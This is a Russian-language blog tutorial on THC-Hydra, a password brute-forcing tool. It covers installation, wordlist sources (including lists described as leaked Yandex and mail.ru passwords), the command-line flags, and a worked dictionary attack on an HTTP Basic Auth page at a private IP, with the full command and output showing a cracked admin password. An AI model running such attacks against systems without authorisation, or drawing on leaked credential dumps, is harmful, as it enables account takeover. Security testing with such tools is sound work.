Гидра THC-Hydra

Thank you for reading this post, don't forget to subscribe!

уни­вер­саль­ный инстру­мент - THC-Hydra, кото­рый име­ет под­держ­ку паро­ля по/для AsteriskAFPCisco AAACisco authCisco enableCVSFirebirdFTPHTTP-FORM-GETHTTP-FORM-POSTHTTP-GETHTTP-HEADHTTP-PROXYHTTPS-FORM-GETHTTPS-FORM-POSTHTTPS-GETHTTPS-HEADHTTP-ProxyICQIMAPIRCLDAPMS-SQLMYSQLNCPNNTPOracle ListenerOracle SIDOraclePC-AnywherePCNFSPOP3POSTGRESRDPRexecRloginRshSAP/R3SIPSMBSMTPSMTP EnumSNMP v1+v2+v3SOCKS5SSH (v1 and v2)SSHKEYSubversionTeamspeak (TS2)TelnetVMware-AuthVNC и XMPP.

Установка

Пакет hydra содер­жит­ся в epel-репо­зи­то­рии, поэто­му доста­точ­но под­клю­чить его и установить.

yum install -y epel-release
yum install -y hydra

Или собрать с сор­сов для поль­зо­ва­те­лей дру­гих ОС:

mkdir ~/hydra_src && cd ~/hydra_src
wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip && unzip master.zip && rm -f master.zip
cd thc-hydra-master/
yum install gcc mysql-devel libssh
make clean && ./configure
make && make install

 

Словари

Бру­тить мож­но как с помо­щью под­бо­ра посим­воль­но, так и с помо­щью под­го­тов­лен­но­го сло­ва­ря наи­бо­лее часто исполь­зу­е­мых паро­лей. Реко­мен­дую пер­вым делом попы­тать­ся подо­брать пароль со сло­ва­рем, и уже если и этот спо­соб не увен­чал­ся успе­хом — пере­хо­дить к пря­мо­му бру­ту посмивольно.

Сло­ва­ри мож­но поис­кать здесь или вос­поль­зо­вать­ся име­ю­щи­ми­ся.

Гото­вые спис­ки паро­лей: top500; top4000; cain&abel (300k); паро­ли от яндек­са (700k); паро­ли от маил.ру (2740k); маил.ру + яндекс (3300k)

Использование

Рас­смот­рим фла­ги запуска:

  • -R Вос­ста­но­вить преды­ду­щую сес­сию, кото­рая по какой-либо при­чине была прервана
  • -S Исполь­зо­вать SSL соединение
  • -s PORT Ука­за­ние пор­та (отлич­но­го от дефолт­но­го) сервиса
  • -l LOGIN Исполь­зо­вать ука­зан­ный логин для попыт­ки аутентификации
  • -L FILE Исполь­зо­вать спи­сок логи­нов из ука­зан­но­го файла
  • -p PASS Исполь­зо­вать ука­зан­ный пароль для попыт­ки аутентификации
  • -P FILE Исполь­зо­вать спи­сок паро­лей из ука­зан­но­го файла
  • -x Гене­ри­ро­вать паро­ли для под­бо­ра само­сто­я­тель­но, ука­зы­ва­ет­ся в фор­ма­те -x MIN:MAX:CHARSET, где MIN — это мини­маль­ная длин­на паро­ля, MAX — соот­вет­ствен­но, мак­си­маль­ная, а CHARSET — это набор сим­во­лов, в кото­ром a озна­ча­ет лати­ни­цу в ниж­нем реги­стре, A — в верх­нем реги­стре, 1 — чис­ла, а для ука­за­ния допол­ни­тель­ных сим­во­лов — про­сто ука­жи их как есть. Вот несколь­ко при­ме­ров гене­ра­ции паролей:
  • -x 3:5:a — длин­ной от 3 до 5 сим­во­лов, состо­я­щие толь­ко из сим­во­лов лати­ни­цы в ниж­нем регистре;
  • -x 5:8:A1 — длин­ной от 5 до 8 сим­во­лов, состо­я­щие из сим­во­лов лати­ни­цы в верх­нем реги­стре + цифр;
  • -x 1:3:/ — длин­ной от 1 до 3 сим­во­лов, состо­я­щие толь­ко из сим­во­лов слеша /;
  • -x 5:5:/%,.- — длин­ной в 5 сим­во­лов, состо­я­щие толь­ко из символов /%,.-;
  • -e nsr Ука­жи n для про­вер­ки пустых паро­лей, s для попыт­ки исполь­зо­ва­ния в каче­стве паро­ля — логин, и (или) r для попыт­ки вхо­да под пере­вер­ну­тым логином
  • -u Пытать­ся подо­брать логин а не пароль
  • -C FILE Исполь­зо­вать файл в фор­ма­те login:pass вме­сто ука­за­ния -L/-P
  • -M FILE Файл со спис­ком целей для брут­фор­са (мож­но с ука­за­ни­ем пор­та через двое­то­чие), по одно­му на строку
  • -o FILE Запи­сать подо­бран­ную пару логин/пароль в файл, вме­сто того чтоб про­сто выве­сти в stdout (будет ука­зан с ука­за­ни­ем сер­ве­ра, к кото­ро­му подо­бран — не запутаешься)
  • -f / -F Пре­кра­тить рабо­ту, как толь­ко пер­вая пара логин:пароль будет подо­бра­на. -fтоль­ко для теку­ще­го хоста, -F — глобально.
  • -t TASKS Коли­че­ство парал­лель­ных про­цес­сов (читай — пото­ков). По умол­ча­нию 16
  • -w Тай­маут для отве­та сер­ве­ра. По умол­ча­нию 32 секунды
  • -W Тай­маут меж­ду отве­та­ми сервера
  • -4 / -6 Исполь­зо­вать IPv4 (по умол­ча­нию) или IPv6 адре­са (при ука­за­нии с -M все­гда заклю­чай в [])
  • -v Более подроб­ный вывод инфор­ма­ции о процессе
  • -V Выво­дить каж­дый под­би­ра­е­мый логин + пароль
  • -d Режим дебага
  • -O Исполь­зо­вать ста­рый SSL v2 и v3
  • -q Не выво­дить сооб­ще­ния об ошиб­ках подключения
  • -U Допол­ни­тель­ная инфор­ма­ция о исполь­зо­ва­нии выбран­но­го модуля
  • -h Вывод спра­воч­ной информации

Примеры работы

Basic Authentication

Cка­ни­руя диа­па­зон адре­сов мы попа­да­ем на неко­то­рый интер­фейс, доступ­ный по httpпро­то­ко­лу, но закры­тый для досту­па при помо­щи Basic Authentication (при­мер настрой­ки с помо­щью nginx).

  • IP сер­ве­ра: 192.168.2.15;
  • Сер­вис: http;
  • Путь, кото­рый закрыт для нас запро­сом пары логин/пароль: /admin/;
  • Порт, на кото­ром рабо­та­ет http сер­вер: 80;

Пред­по­ло­жим (или любым доступ­ным путем выяс­ним), что логин для авто­ри­за­ции admin, и нам неиз­ве­стен лишь пароль. Под­би­рать будем с помо­щью зара­нее под­го­тов­лен­но­го сло­ва­ря и с исполь­зо­ва­ни­ем моду­ля http-get:

[root@localhost opt]# hydra -l admin -P /opt/pass.txt -o ./hydra_result.log -f -V -s 80 192.168.2.15 http-get /admin/
Hydra v7.5 ©2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-08 14:37:45
[DATA] 16 tasks, 1 server, 234 login tries (l:1/p:234), ~14 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt1311113" - 1 of 234 [child 0]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt19391936" - 2 of 234 [child 1]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt2006pp" - 3 of 234 [child 2]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt21l16" - 4 of 234 [child 3]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt5390" - 5 of 234 [child 4]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt911pvpsw2" - 6 of 234 [child 5]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "sltanya" - 7 of 234 [child 6]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "admin" - 8 of 234 [child 7]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "password" - 9 of 234 [child 8]
[80][www] host: 192.168.2.15 login: admin password: password
[STATUS] attack finished for 192.168.2.15 (valid pair found)
1 of 1 target successfully completed, 1 valid password found